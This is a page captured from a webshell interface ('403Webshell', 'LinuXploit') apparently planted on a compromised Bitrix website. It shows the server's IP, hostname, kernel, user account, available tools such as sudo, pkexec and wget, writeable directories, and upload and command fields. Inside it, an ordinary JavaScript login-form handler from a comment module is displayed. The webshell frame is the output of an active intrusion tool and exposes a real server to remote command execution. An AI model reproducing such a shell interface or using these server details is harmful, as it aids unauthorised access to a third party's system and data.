403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/burlakastudio.realcommenter/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/burlakastudio.realcommenter/talk_auth.js
'use strict';

/**
 * Модуль "Полноценные Комментарии D7" под Битрикс
 * Официальный сайт модуля: www.realcommenter.com
 * Официальный сайт разработчика: burlaka.studio
 * Автор и разработчик: Алексей Бурлака (AlexeyGfi) -> alexeygfi@gmail.com
 */

function realcommenter_auth_form_scan_and_init () {

  /**
   * Ищем все не проинициализиваронные формы
   */
  let forms = document.querySelectorAll(
    realcommenter_get_selector('form_auth')
    + ':not([data-inited])'
  );

  forms.forEach(function (item) {
    realcommenter_auth_form_init(item);
  });

}

document.addEventListener('auth_form_placed', realcommenter_auth_form_scan_and_init);

function realcommenter_auth_form_init (_form) {

  // Страховка
  if (_form.hasAttribute('data-inited')) {
    return;
  }

  // Кнопка отправки логин-пароля на авторизацию
  let _button = _form.querySelector('button');
  if (!_button) {
    return false;
  }

  _button.addEventListener('click', realcommenter_auth_form_check_and_submit.bind(_button, _form));

}

function realcommenter_auth_form_check_and_submit (_form) {
  // this - кнопка, по которой нажали

  let _fields = realcommenter_auth_form_parse_form(_form);
  if (!_fields) {
    return false;
  }

  _fields['request_type'] = 'login';

  realcommenter_ajaxion.bind(_form, {
    url: '/bitrix/admin/burlakastudio.realcommenter.auth_ajax.php',
    onsuccess: realcommenter_auth_aftermath.bind(_form),
    data: _fields
  })();

}

function realcommenter_auth_aftermath (result) {

  //this - блочок авторизации внутри формы
  if (typeof result['ERROR'] !== 'undefined' && Object.keys(result['ERROR']).length) {
    this.classList.toggle(realcommenter_get_selector('form_has_errors'), true);
    let _messages = [];

    if (typeof result['ERROR'] === 'string') {
      _messages.push(result['ERROR']);
    } else {
      _messages = result['ERROR'];
    }

    realcommenter_form_notice_from_object(_messages, this, realcommenter_get_selector('form_error_area_classname'));
    return;
  }

  let _form = this.closest(realcommenter_get_selector('form'));
  if (!_form) {
    return;
  }

  // Авторизация прошла успешно - пинаем форму комментирования
  if (typeof result['AUTH_SUCCESS'] !== 'undefined' && result['AUTH_SUCCESS']) {
    /**
     * Нужно перепнуть форму на комментирование
     * Найдём линк, пинающий открытие и пнём его ещё раз
     */

    let comment_obj = _form.closest(realcommenter_get_selector('comment'));
    if (comment_obj) {

      let form_to = +_form.getAttribute('data-form-to');
      let form_target = _form.getAttribute('data-form-target');
      let comment_link = false;

      // Не ноль (форма вверху или внизу)
      if (form_to) {

        comment_link = comment_obj.querySelector(
          realcommenter_get_selector('add_node')
          + ' [data-inited]'
        );

				_form.parentNode.removeChild(_form);

      } else if (form_target) {

        comment_link = comment_obj.querySelector(
          realcommenter_get_selector('add_node')
          + '[data-new-comment="' + form_target + '"]'
          + ' [data-inited]'
        );

      }

      if (comment_link) {
        comment_link.click();
      }

    }

  }

}

function realcommenter_auth_form_parse_form (_form) {

  if (!_form) {
    return false;
  }

  if (!realcommenter_form_valid(_form)) {
    return false;
  }

  let _result = {};

  // Поля ввода
  let inputs = _form.querySelectorAll(realcommenter_get_selector('form_inputs'));
  inputs.forEach(function (item) {

    if (!item.value) {
      return;
    }

    _result[item.getAttribute('data-input')] = item.value;

  });

  return _result;

}

Youez - 2016 - github.com/yon3zu
LinuXploit